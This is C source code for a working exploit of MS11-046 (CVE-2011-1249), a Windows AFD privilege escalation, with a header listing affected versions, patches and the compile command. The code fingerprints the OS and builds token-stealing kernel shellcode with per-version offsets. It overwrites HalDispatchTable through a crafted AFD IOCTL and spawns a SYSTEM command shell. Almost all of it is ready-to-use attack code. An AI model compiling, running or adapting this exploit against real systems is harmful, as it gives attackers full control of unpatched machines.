/* ################################################################ # Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046) # Date: 2016-10-16 # Exploit Author: Tomislav Paskalev # Vulnerable Software: # Windows XP SP3 x86 # Windows XP Pro SP2 x64 # Windows Server 2003 SP2 x86 # Windows Server 2003 SP2 x64 # Windows Server 2003 SP2 Itanium-based Systems # Windows Vista SP1 x86 # Windows Vista SP2 x86 # Windows Vista SP1 x64 # Windows Vista SP2 x64 # Windows Server 2008 x86 # Windows Server 2008 SP2 x86 # Windows Server 2008 x64 # Windows Server 2008 SP2 x64 # Windows Server 2008 Itanium-based Systems # Windows Server 2008 SP2 Itanium-based Systems # Windows 7 x86 # Windows 7 SP1 x86 # Windows 7 x64 # Windows 7 SP1 x64 # Windows Server 2008 R2 x64 # Windows Server 2008 R2 SP1 x64 # Windows Server 2008 R2 Itanium-based Systems # Windows Server 2008 R2 SP1 Itanium-based Systems # Supported Vulnerable Software: # Windows XP SP3 x86 # Windows Server 2003 SP2 x86 # Windows Vista SP1 x86 # Windows Vista SP2 x86 # Windows Server 2008 x86 # Windows Server 2008 SP2 x86 # Windows 7 x86 # Windows 7 SP1 x86 # Tested Software: # Windows XP Pro SP3 x86 EN [5.1.2600] # Windows Server 2003 Ent SP2 EN [5.2.3790] # Windows Vista Ult SP1 x86 EN [6.0.6001] # Windows Vista Ult SP2 x86 EN [6.0.6002] # Windows Server 2008 Dat SP1 x86 EN [6.0.6001] # Windows Server 2008 Ent SP2 x86 EN [6.0.6002] # Windows 7 HB x86 EN [6.1.7600] # Windows 7 Ent SP1 x86 EN [6.1.7601] # CVE ID: 2011-1249 ################################################################ # Vulnerability description: # The Ancillary Function Driver (AFD) supports Windows sockets # applications and is contained in the afd.sys file. The afd.sys # driver runs in kernel mode and manages the Winsock TCP/IP # communications protocol. # An elevation of privilege vulnerability exists where the AFD # improperly validates input passed from user mode to the kernel. # An attacker must have valid logon credentials and be able to # log on locally to exploit the vulnerability. # An attacker who successfully exploited this vulnerability could # run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM # privileges). ################################################################ # Exploit notes: # Privileged shell execution: # - the SYSTEM shell will spawn within the invoking shell/process # Exploit compiling (Kali GNU/Linux Rolling 64-bit): # - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32 # Exploit prerequisites: # - low privilege access to the target OS # - target OS not patched (KB2503665, or any other related # patch, if applicable, not installed - check "Related security # vulnerabilities/patches") # Exploit test notes: # - let the target OS boot properly (if applicable) # - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset ################################################################ # Patches: # Windows XP SP3 x86 # WindowsXP-KB2503665-x86-enu.exe # (not available - EoL) # Windows Server 2003 SP2 x86 # WindowsServer2003-KB2503665-x86-enu.exe # https://www.microsoft.com/en-us/download/details.aspx?id=26483 # Windows Vista SP1, SP2 x86; Windows Server 2008 (SP1), SP2 x86 # Windows6.0-KB2503665-x86.msu # https://www.microsoft.com/en-us/download/details.aspx?id=26275 # Windows 7 (SP0), SP1 x86 # Windows6.1-KB2503665-x86.msu # https://www.microsoft.com/en-us/download/details.aspx?id=26311 ################################################################ # Related security vulnerabilities/patches: # MS11-046 KB2503665 https://technet.microsoft.com/en-us/library/security/ms11-046.aspx # MS11-080 KB2592799 https://technet.microsoft.com/en-us/library/security/ms11-080.aspx # MS12-009 KB2645640 https://technet.microsoft.com/en-us/library/security/ms12-009.aspx # MS13-093 KB2875783 https://technet.microsoft.com/en-us/library/security/ms13-093.aspx # MS14-040 KB2975684 https://technet.microsoft.com/en-us/library/security/ms14-040.aspx # # Table of patch replacements: # | MS11-046 | MS11-080 | MS12-009 | MS13-093 | MS14-040 | # ------------------------------------------------------------- # | KB2503665 | KB2592799 | KB2645640 | KB2875783 | KB2975684 | # ----------------------------------------------------------------------------------------- # Windows x86 XP SP3 | Installed | <-Replaces| - | - | - | # Windows x86 Server 2003 SP2 | Installed | <-Replaces| <-Replaces| - | <-Replaces| # Windows x86 Vista SP1 | Installed | - | - | - | - | # Windows x86 Vista SP2 | Installed | - | - | - | <-Replaces| # Windows x86 Server 2008 | Installed | - | - | - | - | # Windows x86 Server 2008 SP2 | Installed | - | - | - | <-Replaces| # Windows x86 7 | Installed | - | - | - | - | # Windows x86 7 SP1 | Installed | - | - | - | <-Replaces| ################################################################ # Thanks to: # azy (XP, 2k3 exploit) # Rahul Sasi (PoC) ################################################################ # References: # https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249 # https://technet.microsoft.com/en-us/library/security/ms11-046.aspx # http://web.qhwins.com/Security/2012021712023641874126.html # https://www.exploit-db.com/exploits/18755/ ################################################################ */ #include #include #include #include #pragma comment (lib, "ws2_32.lib") //////////////////////////////////////////////////////////////// // DEFINE DATA TYPES //////////////////////////////////////////////////////////////// typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, *PKPROFILE_SOURCE; typedef DWORD (WINAPI *PNTQUERYINTERVAL) ( KPROFILE_SOURCE ProfileSource, PULONG Interval ); typedef LONG NTSTATUS; typedef NTSTATUS (WINAPI *PNTALLOCATE) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect ); typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); //////////////////////////////////////////////////////////////// // FUNCTIONS //////////////////////////////////////////////////////////////// BOOL IsWow64() { BOOL bIsWow64 = FALSE; LPFN_ISWOW64PROCESS fnIsWow64Process; fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process"); if(NULL != fnIsWow64Process) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf(" [-] Failed (error code: %d)\n", GetLastError()); return -1; } } return bIsWow64; } //////////////////////////////////////////////////////////////// // MAIN FUNCTION //////////////////////////////////////////////////////////////// int main(void) { printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n"); printf(" [*] by Tomislav Paskalev\n"); //////////////////////////////////////////////////////////////// // IDENTIFY TARGET OS ARCHITECTURE AND VERSION //////////////////////////////////////////////////////////////// printf("[*] Identifying OS\n"); // identify target machine's OS architecture // in case the target machine is running a 64-bit OS if(IsWow64()) { printf(" [-] 64-bit\n"); return -1; } printf(" [+] 32-bit\n"); // identify target machine's OS version // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx OSVERSIONINFOEX osvi; ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((LPOSVERSIONINFO) &osvi); // define operating system version specific variables unsigned char shellcode_KPROCESS; unsigned char shellcode_TOKEN; unsigned char shellcode_UPID; unsigned char shellcode_APLINKS; const char **securityPatchesPtr; int securityPatchesCount; int lpInBufferSize; //////////////////////////////////////////////////////////////// /* OS VERSION SPECIFIC OFFSETS references: http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/ - nt!_KTHREAD.ApcState.Process (+0x10) 0x30 (3.51); 0x34 (>3.51 to 5.1); 0x28 (late 5.2); 0x38 (6.0); 0x40 (6.1); 0x70 (6.2 and higher) - nt!_EPROCESS.Token 0x0108 (3.51 to 4.0); 0x012C (5.0); 0xC8 (5.1 to early 5.2); 0xD8 (late 5.2); 0xE0 (6.0); 0xF8 (6.1); 0xEC (6.2 to 6.3); 0xF4 - nt!_EPROCESS.UniqueProcessId 0x94 (3.51 to 4.0); 0x9C (5.0); 0x84 (5.1 to early 5.2); 0x94 (late 5.2); 0x9C (6.0); 0xB4 - nt!_EPROCESS.ActiveProcessLinks.Flink 0x98 (3.51 to 4.0); 0xA0 (5.0); 0x88 (5.1 to early 5.2); 0x98 (late 5.2); 0xA0 (6.0); 0xB8 */ //////////////////////////////////////////////////////////////// // in case the OS version is 5.1, service pack 3 if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3)) { // the target machine's OS is Windows XP SP3 printf(" [+] Windows XP SP3\n"); shellcode_KPROCESS = '\x44'; shellcode_TOKEN = '\xC8'; shellcode_UPID = '\x84'; shellcode_APLINKS = '\x88'; const char *securityPatches[] = {"KB2503665", "KB2592799"}; securityPatchesPtr = securityPatches; securityPatchesCount = 2; lpInBufferSize = 0x30; } // in case the OS version is 5.2, service pack 2, not R2 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0)) { // the target machine's OS is Windows Server 2003 SP2 printf(" [+] Windows Server 2003 SP2\n"); shellcode_KPROCESS = '\x38'; shellcode_TOKEN = '\xD8'; shellcode_UPID = '\x94'; shellcode_APLINKS = '\x98'; const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"}; securityPatchesPtr = securityPatches; securityPatchesCount = 4; lpInBufferSize = 0x30; } // in case the OS version is 6.0, service pack 1, workstation else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1)) { // the target machine's OS is Windows Vista SP1 printf(" [+] Windows Vista SP1\n"); shellcode_KPROCESS = '\x48'; shellcode_TOKEN = '\xE0'; shellcode_UPID = '\x9C'; shellcode_APLINKS = '\xA0'; const char *securityPatches[] = {"KB2503665"}; securityPatchesPtr = securityPatches; securityPatchesCount = 1; lpInBufferSize = 0x30; } // in case the OS version is 6.0, service pack 2, workstation else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1)) { // the target machine's OS is Windows Vista SP2 printf(" [+] Windows Vista SP2\n"); shellcode_KPROCESS = '\x48'; shellcode_TOKEN = '\xE0'; shellcode_UPID = '\x9C'; shellcode_APLINKS = '\xA0'; const char *securityPatches[] = {"KB2503665", "KB2975684"}; securityPatchesPtr = securityPatches; securityPatchesCount = 2; lpInBufferSize = 0x10; } // in case the OS version is 6.0, no service pack*, server // *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1; // accordingly, the first service pack is called Service Pack 2. // https://en.wikipedia.org/wiki/Windows_Server_2008 else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType != 1)) { // the target machine's OS is Windows Server 2008 printf(" [+] Windows Server 2008\n"); shellcode_KPROCESS = '\x48'; shellcode_TOKEN = '\xE0'; shellcode_UPID = '\x9C'; shellcode_APLINKS = '\xA0'; const char *securityPatches[] = {"KB2503665"}; securityPatchesPtr = securityPatches; securityPatchesCount = 1; lpInBufferSize = 0x10; } // in case the OS version is 6.0, service pack 2, server else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1)) { // the target machine's OS is Windows Server 2008 SP2 printf(" [+] Windows Server 2008 SP2\n"); shellcode_KPROCESS = '\x48'; shellcode_TOKEN = '\xE0'; shellcode_UPID = '\x9C'; shellcode_APLINKS = '\xA0'; const char *securityPatches[] = {"KB2503665", "KB2975684"}; securityPatchesPtr = securityPatches; securityPatchesCount = 2; lpInBufferSize = 0x08; } // in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only) else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0)) { // the target machine's OS is Windows 7 printf(" [+] Windows 7\n"); shellcode_KPROCESS = '\x50'; shellcode_TOKEN = '\xF8'; shellcode_UPID = '\xB4'; shellcode_APLINKS = '\xB8'; const char *securityPatches[] = {"KB2503665"}; securityPatchesPtr = securityPatches; securityPatchesCount = 1; lpInBufferSize = 0x20; } // in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only) else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1)) { // the target machine's OS is Windows 7 SP1 printf(" [+] Windows 7 SP1\n"); shellcode_KPROCESS = '\x50'; shellcode_TOKEN = '\xF8'; shellcode_UPID = '\xB4'; shellcode_APLINKS = '\xB8'; const char *securityPatches[] = {"KB2503665", "KB2975684"}; securityPatchesPtr = securityPatches; securityPatchesCount = 2; lpInBufferSize = 0x10; } // in case the OS version is not any of the previously checked versions else { // the target machine's OS is an unsupported 32-bit Windows version printf(" [-] Unsupported version\n"); printf(" [*] Affected 32-bit operating systems\n"); printf(" [*] Windows XP SP3\n"); printf(" [*] Windows Server 2003 SP2\n"); printf(" [*] Windows Vista SP1\n"); printf(" [*] Windows Vista SP2\n"); printf(" [*] Windows Server 2008\n"); printf(" [*] Windows Server 2008 SP2\n"); printf(" [*] Windows 7\n"); printf(" [*] Windows 7 SP1\n"); return -1; } //////////////////////////////////////////////////////////////// // LOCATE REQUIRED OS COMPONENTS //////////////////////////////////////////////////////////////// printf("[*] Locating required OS components\n"); // retrieve system information // https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx // locate "ZwQuerySystemInformation" in the "ntdll.dll" module // https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx FARPROC ZwQuerySystemInformation; ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); // 11 = SystemModuleInformation // http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm ULONG systemInformation; ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation); // allocate memory for the list of loaded modules ULONG *systemInformationBuffer; systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer)); if(!systemInformationBuffer) { printf(" [-] Could not allocate memory"); return -1; } // retrieve the list of loaded modules ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL); // locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules ULONG i; PVOID targetKrnlMdlBaseAddr; HMODULE targetKrnlMdlUsrSpcOffs; BOOL foundModule = FALSE; PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr; loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1); for(i = 0; i < *systemInformationBuffer; i++) { if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe")) { printf(" [+] ntkrnlpa.exe\n"); targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1); targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; foundModule = TRUE; break; } else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe")) { printf(" [+] ntoskrnl.exe\n"); targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1); targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; foundModule = TRUE; break; } } // base address of the loaded module (kernel space) printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr); // offset address (relative to the parent process) of the loaded module (user space) printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs); if(!foundModule) { printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n"); return -1; } // free allocated buffer space free(systemInformationBuffer); // determine the address of the "HalDispatchTable" process (kernel space) // locate the offset fo the "HalDispatchTable" process within the target module (user space) ULONG_PTR HalDispatchTableUsrSpcOffs; HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable"); if(!HalDispatchTableUsrSpcOffs) { printf(" [-] Could not find HalDispatchTable\n"); return -1; } printf(" [+] HalDispatchTable\n"); printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs); // calculate the address of "HalDispatchTable" in kernel space // 1. identify the base address of the target module in kernel space // 2. previous step's result [minus] the load address of the same module in user space // 3. previous step's result [plus] the address of "HalDispatchTable" in user space // EQUIVALENT TO: // 1. determine RVA of HalDispatchTable // *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it. // 2. previous step's result [plus] base address of target module in kernel space ULONG_PTR HalDispatchTableKrnlSpcAddr; HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs; HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr; // locate "NtQueryIntervalProfile" in the "ntdll.dll" module PNTQUERYINTERVAL NtQueryIntervalProfile; NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if(!NtQueryIntervalProfile) { printf(" [-] Could not find NtQueryIntervalProfile\n"); return -1; } printf(" [+] NtQueryIntervalProfile\n"); printf(" [*] Address: %#010x\n", NtQueryIntervalProfile); // locate "ZwDeviceIoControlFile" routine in the "ntdll.dll" module // https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx FARPROC ZwDeviceIoControlFile; ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile"); if(!ZwDeviceIoControlFile) { printf(" [-] Could not find ZwDeviceIoControlFile\n"); return -1; } printf(" [+] ZwDeviceIoControlFile\n"); printf(" [*] Address: %#010x\n", ZwDeviceIoControlFile); //////////////////////////////////////////////////////////////// // SETUP EXPLOITATION PREREQUISITE //////////////////////////////////////////////////////////////// printf("[*] Setting up exploitation prerequisite\n"); // initialize Winsock DLL printf (" [*] Initialising Winsock DLL\n"); WORD wVersionRequested; WSADATA wsaData; int wsaStartupErrorCode; // https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx wVersionRequested = MAKEWORD(2, 2); // initiate the use of the Winsock DLL // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData); if(wsaStartupErrorCode != 0) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf(" [-] Failed (error code: %d)\n", wsaStartupErrorCode); return -1; } printf(" [+] Done\n"); // create socket printf(" [*] Creating socket\n"); SOCKET targetDeviceSocket = INVALID_SOCKET; // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if(targetDeviceSocket == INVALID_SOCKET) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf(" [-] Failed (error code: %ld)\n", WSAGetLastError()); return -1; } printf(" [+] Done\n"); // connect to a closed port // connect to port 0 on the local machine struct sockaddr_in clientService; clientService.sin_family = AF_INET; clientService.sin_addr.s_addr = inet_addr("127.0.0.1"); clientService.sin_port = htons(0); printf(" [*] Connecting to closed port\n"); // https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx int connectResult; connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService)); if (connectResult == 0) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx printf (" [-] Connected (error code: %ld)\n", WSAGetLastError()); return -1; } printf(" [+] Done\n"); //////////////////////////////////////////////////////////////// // CREATE TOKEN STEALING SHELLCODE //////////////////////////////////////////////////////////////// printf("[*] Creating token stealing shellcode\n"); // construct the token stealing shellcode unsigned char shellcode[] = { 0x52, // PUSH EDX Save EDX on the stack (save context) 0x53, // PUSH EBX Save EBX on the stack (save context) 0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0) 0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure 0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure 0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX 0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN 0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks 0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process) 0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal 0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX 0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX 0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN 0x5B, // POP EBX Pop current stack value to EBX (restore context) 0x5A, // POP EDX Pop current stack value to EDX (restore context) 0xC2,0x08 // RET 8 Return }; printf(" [*] Shellcode assembled\n"); // allocate memory (RWE permissions) for the shellcode printf(" [*] Allocating memory\n"); LPVOID shellcodeAddress; shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); int errorCode = 0; if(shellcodeAddress == NULL) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx errorCode = GetLastError(); // in case of ERROR_INVALID_ADDRESS if(errorCode == 487) { // Attempt to access invalid address // occurs since a fixed address is being reserved // http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex printf(" [!] Could not reserve entire range\n"); printf(" [*] Rerun exploit\n"); } // in case of any other error else printf(" [-] Failed (error code: %d)\n", errorCode); return -1; } printf(" [+] Address: %#010x\n", shellcodeAddress); // copy the shellcode to the allocated memory memset(shellcodeAddress, 0x90, 0x20000); memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode)); printf(" [*] Shellcode copied\n"); //////////////////////////////////////////////////////////////// // EXPLOIT THE VULNERABILITY //////////////////////////////////////////////////////////////// printf("[*] Exploiting vulnerability\n"); // send AFD socket connect request printf(" [*] Sending AFD socket connect request\n"); DWORD lpInBuffer[lpInBufferSize]; memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD))); lpInBuffer[3] = 0x01; lpInBuffer[4] = 0x20; ULONG lpBytesReturned = 0; if(DeviceIoControl( (HANDLE) targetDeviceSocket, 0x00012007, // IOCTL_AFD_CONNECT (PVOID) lpInBuffer, sizeof(lpInBuffer), (PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0, &lpBytesReturned, NULL ) == 0) { // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx errorCode = GetLastError(); // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx // in case of ERROR_INVALID_NETNAME if(errorCode == 1214) { // AFD socket connect request successful printf(" [+] Done\n"); } // in case of ERROR_NOACCESS else if(errorCode == 998) { // AFD socket connect request unsuccessful - target is patched printf(" [!] Target patched\n"); printf(" [*] Possible security patches\n"); for(i = 0; i < securityPatchesCount; i++) printf(" [*] %s\n", securityPatchesPtr[i]); return -1; } // in case of any other error message else { // print the error code printf(" [-] Failed (error code: %d)\n", errorCode); return -1; } } // elevate privileges of the current process printf(" [*] Elevating privileges to SYSTEM\n"); ULONG outInterval = 0; // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html NtQueryIntervalProfile(2, &outInterval); printf(" [+] Done\n"); // spawn shell (with elevated privileges) printf(" [*] Spawning shell\n"); // spawn SYSTEM shell within the current shell (remote shell friendly) system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32"); // clean up and exit printf("\n[*] Exiting SYSTEM shell\n"); WSACleanup(); return 1; } // EoF